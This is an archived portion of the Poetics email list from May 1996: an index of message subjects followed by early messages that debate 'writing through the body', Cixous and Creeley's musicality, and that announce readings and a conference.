251. Tom Beard — quertzblatz
252. Tony Green — Re: formal continuum/conspicuous repetition (fwd)
253. Sam Pereira — The Death Of Larry Levis

254. Eryque Gleason — Re: quertzblatz
255. Jordan Davis — Re: querzblatz

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256. Diane Marie Ward — Re: poetry on the net
257. Rod Smith — Re: sometimes a formal Finch comes
258. Rod Smith — Re: Alice Notley's _The Descent of Alette_
259. Eryque Gleason — Re: querzblatz
260. Thomas Bell — Re: sometimes a formal Finch comes
261. Thomas Bell — Re: sometimes a formal Finch comes
262. John Whiting — Re: sometimes a formal Finch comes
263. Henry Gould — Re: formal continuum/conspicuous repetition (fwd)
264. Henry Gould — Re: sometimes a formal Finch comes
265. FUNKHOUSER CHRISTOPH — ECchair.html
266. Gwyn McVay — Re: quertzblatz
267. Bill Luoma — Ideology Check
268. Jordan Davis — Making fun of their names again
269. Rod Smith — Re: a formal flinch
270. John Whiting — Re: quertzblatz
271. John Lavagnino — Re: continuum (ht_lit & poetics coincide in xanadu)
272. David Baratier — a formal flinch
273. Gwyn McVay — Re: quertzblatz
274. Rod Smith — Re: sometimes a formal Finch comes
275. Emily Lloyd — Re: sometimes a formal Finch comes
276. Christopher Reiner — Re: Alice Notley's _The Descent of Alette_
277. Maria Damon — Re: poetry on the net
278. Charles Alexander — chax books
279. mikl-em — Re: quertzblatz
280. Daniel Bouchard — Re: poetry on the net
281. Rod Smith — I muse you make so slight a question
282. Maria Damon — Re: quertzblatz
283. John Whiting — Re: sometimes a formal Finch comes
284. George Bowering — Re: poetry on the net
285. Chris Stroffolino — Re: quertzblatz
286. Chris Stroffolino — Re: poetry on the net
287. Chris Stroffolino — Re: quertzblatz
288. Joe Amato — walcott/paz/milosz news clip...
289. Emily Lloyd — Re: quertzblatz
290. Carnography — *Querzblatz*: Specimens and usage
291. Carnography — Re: poetry on the net
292. George Bowering — Re: quertzblatz
293. Jordan Davis — coincidence xanadu (taking a pitch)
294. Wystan Curnow — Re: poetry on the net

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295. Gabrielle Welford — words better than my own (fwd)
296. Daniel Salmon — Re: quertzblatz
297. John Whiting — Re: poetry on the net
298. Eryque Gleason — Re: poetry on the net
299. Herb Levy — Re: poetry in the nabes
300. k.a. hehir — qwertyuiop
301. Carol or Jeremy Close — Poetry On The Net
302. hen — Re: sometimes a formal Finch comes
303. henry — Re: Making fun of their names again
304. John Whiting — Re: words better than my own (fwd)
305. Kurt Nimmo — Re: poetry on the net
306. Michael Boughn — Re: a foraml Finch comes

307. Maria Damon — Re: quertzblatz
308. Maria Damon — Re: Poetry On The Net
309. mikl-em — Milton Project
310. Ward Tietz — Re: Formal Continuum
311. Bob Holman — Pick ONE
312. henry gould — Re: formal continuum
313. Tom Beard — Re: a foraml Finch comes
314. Jordan Davis — readings in NYC the next few days
315. Maria Damon — Re: a foraml Finch comes
316. Gwyn McVay — Re: a foraml Finch comes
317. Jordan Davis — Remaking their names again
318. Mary Hilton — Political Diction - Announcement
319. Chris Stroffolino — Re: a foraml Finch comes
320. Eryque Gleason — Re: readings in NYC the next few days
321. Tony Green — Re: poetry on the net
322. Tony Green — Re: sometimes a formal Finch comes
323. Tony Green — Re: formal continuum/conspicuous repetition (fwd)
324. Gary Hawkins — Re: readings in NYC the next few days
325. Rod Smith — Fwd: Re: Fwd: Re: formal continuum/conspicuous repetition (fwd)
326. Carnography — Re: Formal Continuum
327. Rod Smith — Re: sometimes a formal Finch comes

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328. Rod Smith — Re: readings in NYC the next few days
329. Carnography — fromal Fnich cmoes a/ a fomral Ficnh coems/
330. Thomas Bell — range review Nobel form or lil Hans
331. Carnography — Re: sometimes a formal Finch comes
332. Carnography — Re: sometimes a formal Finch comes
333. John Whiting — Re: Formal Continuum
334. Rod Smith — Re: range review Nobel form or lil Hans
335. henry — Re: sometimes a formal Finch comes
336. henry gould — forming at the mouth
337. Michael Boughn — Re: a formal Finch comes
338. Maria Damon — Re: readings in NYC the next few days
339. Peter and Karen Landers — Re: sometimes a formal Finch comes
340. Maria Damon — Re: range review Nobel form or lil Hans
341. Mark W Scroggins — ANNOUNCEMENT: NEW JOURNAL
342. henry gould — Re: range review Nobel form or lil Hans
343. Jordan Davis — Re: range review Nobel form or lil Hans
344. Aldon L. Nielsen — Re: young guy killed in LA
345. Jordan Davis — readings NYC next days
346. Herb Levy — Re: range review Nobel form or lil Hans
347. k.a. hehir — Re: range review Nobel form or lil Hans
348. Poetics List — New Welcome Message
349. Alan Golding — Typo of the Day
350. henry gould — Re: a foraml Finch comes
351. Alan Sondheim — read it but don't
352. Chris Stroffolino — Re: a foraml Finch comes
353. Rod Smith — Re: sometimes an informal Cage comes
354. Pierre Joris — Help
355. Alan Golding — Bob Bertholf
356. John Whiting — Re: sometimes an informal Cage comes
357. Gabrielle Welford — Re: range review Nobel form or lil Hans
358. Gabrielle Welford — House Budget Figures '97 (fwd)
359. Carnography — musica ficta
360. Loss Glazier — Re: Bob Bertholf

361. Gary Hawkins — Re: readings in NYC the next few days

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362. George Bowering — Re: poetry in the nabes
363. George Bowering — Re: Typo of the Day
364. John Whiting — Re: musica ficta
365. Jordan Davis — Re: musica ficta
366. FUNKHOUSER CHRISTOPH — words.html
367. landers — Re: fromal Fnich cmoes a/ a fomral Ficnh coems/
368. Charles Smith — rules & conventions

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369. Chris Stroffolino — Re: fromal Fnich cmoes a/ a fomral Ficnh coems/
370. JOEL LEWIS — stop sub
371. Ken Edwards — querzblatz
372. Ron Silliman — Will Alexander's work
373. Tony Green — Re: musica ficta
374. Tony Green — Re: Typo of the Day
375. Tony Green — Re: a formal Finch comes
376. Fred E. Maus — Re: musica ficta
377. Tony Green — Re: musica ficta
378. Carnography — Re: musica ficta
379. Rae Armantrout — ALA Conference
380. Tom Mandel — musica ficta
381. Chris Stroffolino — Re: Will Alexander's work
382. Jordan Davis — Fwd: address change for Maria Damon

20 MAY 1996

383. Aldon L. Nielsen — Re: the rhetoric of surrealism?
384. Aldon L. Nielsen — Re: rhetoric of surrealism II
385. Bob Holman — Re: POETICS Digest - 18 May 1996 to 19 May 1996
386. Gwyn McVay — Re: POETICS Digest - 18 May 1996 to 19 May 1996
387. Fred E. Maus — Re: musica ficta
388. Burt Kimmelman — Re: Bob Bertholf
389. Burt Kimmelman — fake book
390. Jordan Davis — Poetry / Stephen Holden
391. Jena Osman — chain/3 now available
392. Herb Levy — Re: fake book
393. Carnography — Re: fake book
394. Carnography — Re: musica ficta
395. Fred E. Maus — Re: fake book (fwd)
396. Herb Levy — Re: fake book
397. Alan Sondheim — Rudyard Kipling's If
398. Jordan Davis — Re: fake book
399. Carnography — Re: fake book (fwd)
400. George Bowering — Re: POETICS Digest - 18 May 1996 to 19 May 1996
401. George Bowering — Re: Typo of the Day
402. Carnography — Re: "fake" book/"real" improvisation
403. John Whiting — Re: fake book (fwd)
404. Edward Foster — RUSSIAN/AMERICAN SCHEDULE
405. Burt Kimmelman — Re: fake book
406. Chris Stroffolino — Re: fake book
407. Jordan Davis — Re: theory book

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408. Tenney Nathanson — but this is Lovely to Think About
409. Carnography — Re: fake book

410. Michael Boughn — Re: rules & conventions
411. Kevin Killian — Re: fake science: reply
412. Robert Drake — Re: a range life, if I could settle down, I would...
413. Poetics List — Re: fake book (fwd)
414. David Baratier — a range life, if I could settle down, I would...
415. Burt Kimmelman — Re: a range life, if I could settle down, I would...
416. Aldon L. Nielsen — Re: fake books
417. David Baratier — A Booglit benefit reading
418. Steven Howard Shoemaker — fake science
419. Steven Howard Shoemaker — fake science: reply
420. Steven Howard Shoemaker — Re: fake book
421. Christopher Reiner — Avec Books offer
422. David Baratier — Re: formal continuum
423. David Baratier — Reading Tonight 5/21
424. Alan Sondheim — Re: fake science: reply
425. Henry Gould — Re: formal continuum
426. Henry Gould — Re: fake science: reply
427. David Golumbia — Re: fake science: reply
428. Jordan Davis — Re: formal continuum/computer writing demo
429. Tony Green — Re: rules & conventions
430. Charles Smith — Re: fake science: reply
431. Joe Amato — Re: fake science: reply
432. Fred E. Maus — Re: fake science: reply
433. Herb Levy — Re: fake book
434. Alan Sondheim — Re: fake science: reply
435. Burt Kimmelman — Re: fake book
436. Ursula K Heise — Re: fake science: reply
437. Joe Amato — Re: fake science: reply
438. Stephen L Burt — Re: fake science: reply (long)
439. Loss Glazier — Re: Bob Bertholf
440. David Golumbia — Re: fake science: reply
441. Christopher J. Beach — Re: fake science: reply (long)
442. Tom Beard — what a scientist knows about science
443. - Kim Tedrow — what a poet knows about science

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444. FUNKHOUSER CHRISTOPH — Will Alexander's work
445. Tom Beard — what poetry knows about scientists
446. Marjorie Perloff — Re: POETICS Digest - 20 May 1996 to 21 May 1996
447. Chris Stroffolino — Re: Will Alexander's work
448. Eryque Gleason — Re: Will Alexander's neologistic typos
449. Ron Silliman — Fake editing
450. Henry Gould — Re: fake science
451. Mark Roberts — AWOL: Inaugural Olympic Sports Poet (forwarded)
452. Rod Smith — Ediots
453. Sheila E. Murphy — Re: Fake editing
454. Daniel Bouchard — Re: Ediots
455. David Golumbia — Re: Ediots
456. Marjorie Perloff — Re: POETICS Digest - 20 May 1996 to 21 May 1996
457. Deirdre Kovac — Big Allis NYC Reading
458. Steven Howard Shoemaker — Re: fake book
459. Steven Howard Shoemaker — Re: fake science: reply
460. Steven Howard Shoemaker — Re: fake science
461. David Golumbia — Re: steakhouse
462. David Baratier — fakehaus
463. Joe Amato — fake science...

464. henry gould — Re: formal continuum
465. henry gould — Re: fake science
466. Michael Boughn — Re: formal continuum
467. David Baratier — Re: formal continuum
468. Burt Kimmelman — Re: fake book
469. Aldon L. Nielsen — Re: death in L.A.
470. henry gould — summa more peirce
471. Don Cheney — Re: chax books
472. Jonathan Brannen — Re: chax books
473. Steven Howard Shoemaker — Re: fake book
474. c.g. guertin — Re: chax books
475. Gabrielle Welford — Kani Xulam faces deportation & death (fwd)
476. Daniel Bouchard — Re: Kani Xulam faces deportation & death (fwd)
477. Steven Howard Shoemaker — Re: fake science
478. Charles Alexander — Re: chax books
479. Pierre Joris — Re: chax books

23 MAY 1996

480. George Bowering — Re: Orioles
481. Marjorie Perloff — Re Refereed Journals
482. Rod Smith — Re: Ediots
483. Rod Smith — Re: Orioles
484. Kevin Killian — Re: death in L.A.
485. Kevin Killian — Come In Spinner!
486. Michael Boughn — Re: chax books
487. Bob Perelman — a)science b) self-promo
488. Joe Amato — Re: Re Refereed Journals
489. David Kellogg — Re: Re Refereed Journals
490. Aldon L. Nielsen — Re: Rukeyser's Gibbs
491. John Lavagnino — Re: Re Refereed Journals
492. David Golumbia — Re: Re Refereed Journals
493. David Golumbia — Re: Re Refereed Journals
494. Don Cheney — Re: death in L.A.
495. Don Cheney — Here, Kevin!
496. David Baratier — Re: refereed
497. David Ayre — KSW Events for June, 96
498. David Ayre — KSW Events for June, not May

24 MAY 1996

499. George Bowering — Re: Re Refereed Journals
500. Ron Silliman — Ref them journals
501. Mark Roberts — AWOL: Leith Morton & Philip Hammial in Japan (fwd)
502. Mark Roberts — Re: Come In Spinner!
503. Navdeep Dhillon — Poetics Mailing List FAQ
504. Chris Stroffolino — Re: KSW Events for June, 96
505. Mark Wallace — refereed, non-refereed?
506. Aldon L. Nielsen — Re: eniacs
507. Keith Tuma — Re: Ref them journals
508. Aldon L. Nielsen — Re: death and the times in LA
509. Jordan Davis — blindness and inside
510. Bill Luoma — Re: Soaps
511. Robert J Wilson — free fall of Social Text/"slick professional b2"
512. Aldon L. Nielsen — Re: refs
513. Steven Howard Shoemaker — fake radio
514. Lisa Samuels — Sokal responds (fwd)

25 MAY 1996

515. George Bowering — Re: Soaps
516. Marjorie Perloff — Re: interesting/boring journals
517. Charles Alexander — presses in Ireland?
518. george hartley — orono in June?
519. Aldon L. Nielsen — Re: reading Sokal in SoCal
520. Joel Kuszai — David Wilk
521. Charles Alexander — Re: David Wilk

26 MAY 1996

522. Robert J Wilson — :re: spanos/post-spanos b2
523. Tony Green — Re: refereed, non-refereed?

27 MAY 1996

524. Mark Roberts — Readings/Lit scene in Auckland
525. Poetics List — Welcome Message
526. Michael Coffey — David Wilk -Reply
527. Michael Coffey — presses in Ireland? -Reply
528. Rod Smith — Re: David Wilk
529. Aldon L. Nielsen — Re: Sokal in SoCal II
530. Aldon L. Nielsen — Re: Bob Kaufman in SoCal
531. Alan Sondheim — Poem of Weeping Ghosts in Sonnet Form
532. Rod Smith — Re: eniacs
533. Charles Alexander — publications & rights
534. Michael Heller — Re: San Diego Reading

28 MAY 1996

535. Pierre Joris — query
536. Henry Gould — Re: blindness and inside
537. Annie Finch — Re: Poem of Weeping Ghosts in Sonnet Form
538. Steve Carll — Nonset Form
539. David Kellogg — Re: interesting/boring journals
540. Dan Horne — Sokal
541. Jonathan Brannen — Re: chax books
542. Jordan Davis — Re: Poem of Weeping Ghosts in Sonnet Form
543. Jordan Davis — scsi fcta
544. George Bowering — Re: Poem of Weeping Ghosts in Sonnet Form
545. Deirdre Kovac — Big Allis Offer
546. Robert Drake — AVEC sale (fwd)

29 MAY 1996

547. Carnography — Re: Poem of Weeping Ghosts in Sonnet Form
548. Carnography — Re: Poem of Weeping Ghosts (oops--corrected)
549. Carnography — Re: Derrida's maxim
550. Joe Tabbi — ebr special issue: visual narratives
551. henry — Re: scsi fcta
552. henry — russ/american poetry conf report
553. Mark Roberts — AWOL: Next Wave Festival (forwarded)
554. Mark Roberts — AWOL: OVERLAND 143 & the Next Wave Festival (forwarded)
555. Daniel Bouchard — Re: russ/american poetry conf
556. Joe Amato — Re: Sokal in SoCal II
557. Mary Hilton — primitive publications -- Announcement
558. Robert J Wilson — (un)becoming "literary" in ST &
559. Annie Finch — Re: Nonset Form
560. Edward Foster — Re: russ/american poetry conf
561. Annie Finch — Re: Poem of Weeping Ghosts in Sonnet Form
562. Louis Cabri — Re: chax books
563. Steve Carll — Re: Nonset Form

564. Joe Amato — Re: (un)becoming "literary" in ST &
565. Wystan Curnow — Re: Nonset Form
566. Gary Hawkins — Re: Nonset Form
567. Annie Finch — Re: Poem of Weeping Ghosts (oops--corrected)

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568. Annie Finch — Re: Nonset Form
569. Thomas Bell — Re: Music City sonnet
570. William Marsh - 3809183 — Re: Nonset Form
571. Jerry Rothenberg — Re: Poem of Weeping Ghosts in Sonnet Form
572. Kenneth Goldsmith — Madonna
573. Carnography — (un)becoming "literary" in ST &: Is this better?
574. Carnography — Re: Poem of Weeping Ghosts (oops--corrected)
575. Chris Stroffolino — Re: Nonset Form
576. Daniel Bouchard — Re: Nonset Form
577. Steven Clay — poetry books & magazines
578. Joe Amato — Re: (un)becoming "literary" in ST &: Is this better?
579. David Baratier — Au pur delice sans chemin (1)
580. jms — request for exercises about place
581. Jill A Mccartney — Re: Nonset Form
582. David Baratier — Tomorrow, Friday, may 31st
583. David Baratier — nonset environmentally destructive form
584. Burt Kimmelman — The Twentieth Century
585. Steve Carll — Re: Nonset Form
586. Alan Golding — Michael Ondaatje
587. Rod Smith — Re: request for exercises about place
588. Chris Stroffolino — just thought you'd want to see this
589. Gabrielle Welford — Re: Music City sonnet
590. Emily Lloyd — Re: Nonset Form
591. George Bowering — Re: Nonset Form
592. Joe Amato — Re: Nonset Form
593. Jordan Davis — sonnet quiddity
594. Charles Alexander — Re: Nonset Form
595. Carnography — Careerism
596. Tony Green — Re: Poem of Weeping Ghosts in Sonnet Form
597. Laura Moriarty — benefit for New Langton Arts
598. Thomas Bell — Re: Russian/American sonnet quiddity

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599. Rod Smith — New Books fer Poetics
600. Charles Bernstein — new M/E/A/N/I/N/G
601. henry gould — Re: Nonset Form
602. henry gould — Re: Au pur delice sans chemin (1)
603. Nada Gordon — naropa dates/topics
604. henry gould — russ/am po form
605. Carnography — Re: Careerism, yes; but formal exactitude as well
606. Herb Levy — Re: naropa dates/topics
607. Peter Jaeger — nonset form
608. henry — forming at the mouth
609. Daniel Bouchard — Fwd: russ/american poetry conf
610. Charles Alexander — Re: Nonset form
611. Pierre Joris — Re: naropa dates/topics
612. Annie Finch — Nonset form
613. Annie Finch — nonset form
614. Joe Aimone — "A Sonnet" - take two or three
615. Annie Finch — Jerry Rothenberg's favorite typo soup
616. Robert Drake — Re: Nonset form

617. Pierre Joris — Re: naropa dates/topics
618. Burt Kimmelman — The Poetics of Authorship
619. henry — somnolosonnets
620. FUNKHOUSER CHRISTOPH — PROTO-ANTHOLOGY of HYPERMEDIA POETRY now AVAILABLE
621. Annie Finch — SONNETS/FORMS
622. Annie Finch — "sonnet" in sonnet form
623. Annie Finch — Re: Nonset form
624. Daniel Bouchard — Re: "sonnet" in sonnet form
625. David Baratier — non such sonnata forms continuum
626. Steve Carll — Re: SONNETS/FORMS
627. Chris Stroffolino — Re: Nonset form
628. Charles Alexander — Re: Nonset form
629. George Bowering — Re: nonset form
630. Annie Finch — Re: SONNETS/FORMS
631. Annie Finch — Re: Nonset form
632. Rod Smith — Re: Nonset form
633. Annie Finch — Re: SONNETS/FORMS
634. Annie Finch — Re: Nonset form
635. George Bowering — Re: Nonset form
636. Joe Aimone — take a sonnet, any sonnet (Not)

1. Eryque Gleason
Re: writing through
Wed 1 May 1996

chax wrote:

> *eryque, I think it would be an entrapment of the body to demand that it be "written through" from any particularl or limited point of view or perspective.*

yes, i'm not intending to actively limit anything, just wishing to explore what the limits have tended to be, if anything.

> *responding to Michael Coffey:*
>
> *clearly, some writing involves the body more than other writing; henry miller vs henry james, for example.*
>
> *writing *about* the body is not what's meant, I think*

yes, fred, i think that's exactly it. er, not it.

> *mouth, and/or feeling language rhythms as body rhythms,*
> *is one way to write to my body; not the only one, I*

see, here's where all this starts to get very, very tricky. is "writing through the body" ala cixous the same as "to write my body"? seems to me that there is a very subtle and very important difference that i can't quite figure (hence my original question) between writing through the body and writing the body.

emily:

> *So, is*
> *there anyone out there willing & able to articulate the distinctions between these 2 or 3 phrases? And possibly give examples? My body would be grateful, or else I would.*

i second the question.

eryque

↑ Index

2. Eryque Gleason
music, man
Wed 1 May 1996

(?) michael wrote, then fred wrote, and again from the top:

> *I suppose the musicalilty of certain prose and poetry*
> *affects the body more than certain other examples do, but could that be considered writing through he body, or simply very rhythmic or sensual writing?*

> *what is "musicality" of writing?*

i second the question.

> *what conception of music*
> *underlies this comparison? which music, in whose experience of*
> *it?*

i'm not sure that there is any particular music(/s) at stake here, but i think we have to accept the fact that the music will be lost on some people, which is why i think some folks like the music in creely (it had a beat & i could dance to it) and some just don't see it.

the blues is a form(/s) that comes naturally to me, but try playing john lee hooker at a bunch of kids from sri lanka that've never heard anything close before. (they wrinkled their noses considerable, were much less polite to a late howlin wolf recording). conversely, some of the traditional music they played at me was a bunch of incoherent noise. to me.

eryque

↑ Index

3. Mary Rising Higgins
Re: Jouissance, schmouissance, Stein
Wed 1 May 1996

Have you read Diana Souhami's, GERTRUDE & ALICE? (bio--Pandora, 91)

↑ Index

4. Mary Rising Higgins
Re: creeley through th'
Wed 1 May 1996

Creeley's rythmic reading & exquisite line endings w/ unstressed syllable are music to this listener's ears!!!!

↑ Index

5. Kevin Killian
Re: rread
Wed 1 May 1996

At 10:03 AM 5/1/96, Bill Luoma wrote:
>quickie notus:
>
>scott bentley & bill luoma will read at ed/katie/adam\s house @ 503 page st

>#2 8:00pm wed yes.
>
>(sf,ca)

CORRECTION: It's 530 Page Street (#2), at least that's what Eddie wrote in my address book.

--Dodie

↑ Index

6. Kevin Killian
Oppen: magazine appearances
Wed 1 May 1996

This is Kevin Killian. I lost the original thread of this discussion . . . but there's a contribution by George Oppen in "The Four Zoas" #3 (the "Too Insane" issue) in 1976. This citation is probably far too late to assist Burt Kimmelman or whoever it was who was asking. And besides he was asking if I remember right about earlier magazine appearances? Ach! Forget I ever spoke!

↑ Index

7. Joshua N Schuster
Re: writing through -Reply -Reply
Wed 1 May 1996

I haven't read Cixious but I'd like to take a brief gestural crack at the notion of "writing the body" from the philosophical context, the discipline which I have a hunch Cixious is most likely referring to.

So just a guess, but I think Cixious is trying to consummate the critique set in motion by Nietzsche. Arguing against the will-less, body-less tradtion of metaphysics, Nietzsche calls for an embodied, explicitly will-full theory, one in which the seer is seen. While the "will" rhetoric has been dropped historically (partly due to Heidegger's assessment that will is too metaphysical), the "body" notion was picked up next, most significantly, by Merleau-Ponty (in part to flesh out Heidegger's rather disembodied notion of Being). So by mid-50's writing the body would have meant something like Niet.'s "dwelling resolutely in the fullness of being" which was in full existential crisis and committment (so it's "writing the crisis"--strange revisionism on my part).

So since I haven't read any Cixious I have a glaring hole here, but, for a contemporary take on bodily writing, I'd suggest Peter Sloterdijk's example of the Greek anti-philosopher Diogenes. The crux of Sloterdijk's argument is that one can write the body without remaining subject-centered. That is, one can embody anti-subjectivity and take physical pleasure in dissidence. Diogenes writes

with his cheeks (i.e. he's "cheeky"). So writing the body can or could be a way of writing through or against the subject. (I remember last time the issue came up Cixious was hinted at having the bias of feminist essentialism,perhaps true, but perhaps she's calling for a tradition of embodied feminism, or as French Fourierist Claire De Mar wrote in 1830's, a "rehabiliation of the flesh".)

But that's just a blind shot since I haven't read Cixious nor am I a philosopher.

bests,
Joshua

↑ Index

8. landers
Re: writing through -Reply -Reply
Wed 1 May 1996

I'd like to focus this a bit more. Almost all poetry is musical, so that's not a good word, i think for the distinction that was wanted.

As far as the musical resemblences go, Taggart uses sound like Phillip Glass while Creeley uses sound like Pierre Boulez. I'll keep all four of them, thank you. :)

I have no idea what "writing through the body" means. I'm inclined to the talking head approach myself, projecting ideas in one respect, and sculpting sound and diction in another.

Peter Landers
[redacted]

↑ Index

9. R I Caddel
Creeley/music etc
Wed 1 May 1996

Must come in with those who rate the musicality of Creeley: the compositional element, to me, is evident. Shaped sound. And yes, when he reads it (or when it's read), it becomes a physical thing. "Reading in silence is the source of half the misconceptions that have caused the public to distrust poetry" - Bunting.

I first heard the name Martha Stewart on this list, and had no idea who she was (tho I got the general idea) - now, I learn she's being hyped in the UK, so pretty soon we'll all know the correct way to stuff an aubergine, sorry, eggplant. In this context I've enjoyed parts of the my-place-is-better-than-your-place thread: regional bickering certainly beats cultural uniformity. But did you notice how

all the UK voices went quiet during the regional exchanges? I mean, we Northerners would never say anything critical about life in the South, or vice versa...

Richard Caddel
email: [redacted]

↑ Index

10. David Kellogg
writing through Creeley's body
Wed 1 May 1996

Two points, first: Creeley's musicality is obvious but tempered both by speech (hence not reaching its 'upper limit music'-- this is not a bad thing) and by attention to visual design of words on the page (which may have musical effects in reading but is not the same as music at least in my head). The poetry-as-music metaphor has its limitations.

Second, on "writing through the body" -- are people here reading that as always good? Its attractiveness makes me suspicious. Seems to me that this idea (which I guess some here are reading as deriving from Cixous and others) is complicated b/c of the confounding ideological status of the body in American poetics at least since Olson and in some ways before. Quote-mainstream-unquote poetics has sometimes found solace in a somatically articulated poetics for its own relentless individualism. Which leads me to ask what an embodied poetics might mean to do. For my own part, I'd like the theoretical base to be broadened a bit, to include not only Cixous but also Foucault and Elaine Scarry, for both of whom the body is socially produced and in no way a ground or origin.

Cheers,
David
~~~
~~~

11. henry gould
Re: writing through Creeley's body
Wed 1 May 1996

On Wed, 1 May 1996 08:27:14 -0400 David Kellogg said:
>this idea (which I guess some here are reading as deriving from Cixous and
>others) is complicated b/c of the confounding ideological status of the
>body in American poetics at least since Olson and in some ways before.
>Quote-mainstream-unquote poetics has sometimes found solace in a
>somatically articulated poetics for its own relentless individualism.
>Which leads me to ask what an embodied poetics might mean to do. For my
>own part, I'd like the theoretical base to be broadened a bit, to include
>not only Cixous but also Foucault and Elaine Scarry, for both of whom the
>body is socially produced and in no way a ground or origin.

An embodied poetics would start by acknowledging that both poets & readers are responding to effects & powers originating in language & nowhere else; that these effects can be symbolized by analogy to the body or the reactions poetry creates, but that if we are talking poetics perhaps we should focus on specifically poetic effects. It seems to me that evaluating mainstream or other poetries in terms of what camp of critical sociology they are perceived to fall into is putting the cart before the horse. This may sound like blindered vision or neanderthal politics, but I for one am sceptical of the critical presumption that always subsumes poetry to some master discourse. This holds true even if your definition of language includes silence, deed, nonverbal communication, gesture. - Henry Gould

↑ Index

12. Mark Wallace
all this OPEN LETTER BUSINESS
Wed 1 May 1996

Thanks to Bob Holman, Al Nielsen and others for their responses to my letter--your points are well taken. I just had several matters I wanted to clarify:

To Al: the issue, I guess, when one is talking about "community" is probably less what sort of poetry one writes as it is often LITERALLY a matter of where one hangs out--there are variances of poetic practice within every community, but people choose to be active in certain social areas rather than others. In that sense, my division between a "performance/slam" crowd and an "avant garde" group sometimes is less a matter of actual poetic differences than it is of social grouping. So I don't really see that there was some attempt in my letter to narrowly label what any particular poetry was doing, other than to talk about the environments where they tend to gather as poets.

Bob, on one other point you made, at least three of the poets I mentioned in my open letter are either tangentially or not associated with the "avant garde" reading series at Ruthless Grip--in that sense, I definitely WAS mentioning poets who are not particularly a part of my own scene. I think the point you made about mentioning people from various groups was important--but I wanted you to understand that I had already done so in my previous letter.

Thanks for your good work on the program, and for responding to my concerns.

Mark Wallace

↑ Index

13. Mark Wallace
one last bit of OPEN LETTER
Wed 1 May 1996

I just left this last point out: Bob, I do see the point of sending letters to the Washington Post, and I have actually done so about six months ago on a really annoying article by Jonathan Yardley. I then also sent a letter to the Washington City Paper on an article they wrote about some novelist (I forget his name) who was attacking all poetry as "easy", except for the recent work of Frederick Turner.

This is less to toot my own horn (a preposterous idea anyway) than to ask you this: do you think that a letter sent to the Post about a three paragraph letter that's a response to an article would actually get published in the Post? My own assumption in this case was that it wouldn't--hence my choice of sending you a letter this way. But if you think it would, I'll certainly adjust my choice of location next time. It just seemed to me that my concerns were too tangential to the original debate to find their way into the Post.

I'd be interested to know what anybody thinks.

Mark Wallace

↑ Index

14. Gwyn McVay
Washington Post/open letter
Wed 1 May 1996

Not to argue that poetry and its debates should be further marginalized or shunted away from the mainstream, but it would be really cool if the Washington CITY PAPER could tear itself away from following Marion Barry long enough to provide a showcase for the perf-po crowd, or the language crowd, or the inter-crowd debates...

Gwyn McVay

↑ Index

15. Gwyn McVay
a sudden fit of stupidity
Wed 1 May 1996

Dumb question #517.

Being at George Mason, me, personally, I should know this. But I don't. What is the name of the conference here next week at which Charles Bernstein and a host of other cool people are speaking, and can admission still be bought for any price, or do I have to listen thru the door with a water glass?

McVay, abashed

↑ Index

16. Bill Luoma
rread
Wed 1 May 1996

---

quickie notus:

scott bentley & bill luoma will read at ed/katie/adam\s house @ 503 page st #2 8:00pm wed yes.

(sf,ca)

↑ Index

17. David Kellogg
Re: writing through Creeley's body
Wed 1 May 1996

On Wed, 1 May 1996, henry gould wrote:

> *An embodied poetics would start by acknowledging that both poets & readers are responding to effects & powers originating in language & nowhere else; that these effects can be symbolized by analogy to the body or the reactions poetry creates, but that if we are talking poetics perhaps we should focus on specifically poetic effects. It seems to me that evaluating mainstream or other poetries in terms of what camp of critical sociology they are perceived to fall into is putting the cart before the horse. This may sound like blindered vision or neanderthal politics, but I for one am sceptical of the critical presumption that always subsumes poetry to some master discourse. This holds true even if your definition of language includes silence, deed, nonverbal communication, gesture.*

Wow. As good a definition of writing-through-the-body as I've seen on this list -- didn't somebody ask for one? Should we start here, or somewhere else?

I didn't mean to open the poet-vs.-theorist debate again, being both myself. Nor am I interested in subsuming poetry to anything (which to me is as ridiculous as subsuming other things to poetry). Shouldn't have used the term "base," I suppose. But I question whether anybody is capable of fencing off "specifically poetic" from other effects. (Your own rather territorial phrasing, Henry, makes me think otherwise). After all, this discussion, if I remember, started off with somebody asking whether writing-through-the-body required writing in the first or second person.

Cheers,
David
~~~
~~~

I'm not complaining about Boulez' work as such, though there are other composers I'm far more interested in (more than Carter or Babbitt, too, for that matter). If I were to make this kind of comparison, I'd probably compare Creeley to one of the more idiosyncratic jazz players, say, Herbie Nichols or Sonny Clark, in the fifties, or Steve Lacy today (if you want to call that jazz).

But that's if I were to make this kind of comparison.

Bests

Herb

Herb Levy
[redacted]

↑ Index

19. Pierre Joris
Re: a sudden fit of stupidity
Wed 1 May 1996

On Wed, 1 May 1996, Gwyn McVay wrote:

> *Dumb question #517.*
>
> *Being at George Mason, me, personally, I should know this. But I don't. What is the name of the conference here next week at which Charles Bernstein and a host of other cool people are speaking, and can admission still be bought for any price, or do I have to listen thru the door with a water glass?*
>
> *McVay, abashed*

Gwyn -- it's The International Association for Philosophy an Literature (IAPL)'s 20th anniversary conference called DRAMAS OF CULTURE, taking place from May 7 to 11 right where you are. The program is too thick to type up, feels like a mini-MLA, but you should be able to get one right there & I doubt that it's booked up or out. (for more information you could call Campus Information [redacted] or the Conference Coordinator, John Foster at [redacted] or email him: [redacted].

Note, however, one of the panels, meeting on Thursday 9-12 a.m. in the Movie Theatre (inneresting place!) on the Ground Floor, & moderated by yours truly: THE ECHO OF THE ORIGINAL: TRANSLATION AS ARENA FOR THE DRAMA OF CULTURE with Charles Bernstein, Ann Leatherwood, Suzanne Jill Levine, Howard Norman & Andrew Schelling.

Also, for those in DC area, the previous evening, Wednesday at 8 pm, Bernstein & Joris will be reading at Rod Smith's bookshop.

Pierre

↑ Index

20. David Baratier
Shindig
Wed 1 May 1996

AWP benefit reading, with a suggested donation of any amount you feel comfortable with. Readers will include:

Susan Stewart
Kabi Hartman
Valerie Hanson
David Baratier
Keith Gummery
Rachael Blau DuPlessis
Robert Watts
Jason Marks
William Van Wert

and at least 9 other readers to be scheduled. The reading is at 8 pm on Thursday May 2nd in Philadelphia at Temple University, 1619 Walnut Street, fifth floor. If any one needs directions or more information mail me at [redacted]

Thanks.

↑ Index

21. Burt Kimmelman
Re: Oppen: magazine appearances
Wed 1 May 1996

Kevin,

No, no. Love to hear about it all. Gimme more (if you got any)!!

Burt
[redacted]

↑ Index

22. Gary Hawkins
Tasmania
Wed 1 May 1996

From Laura at [redacted].

Mark,

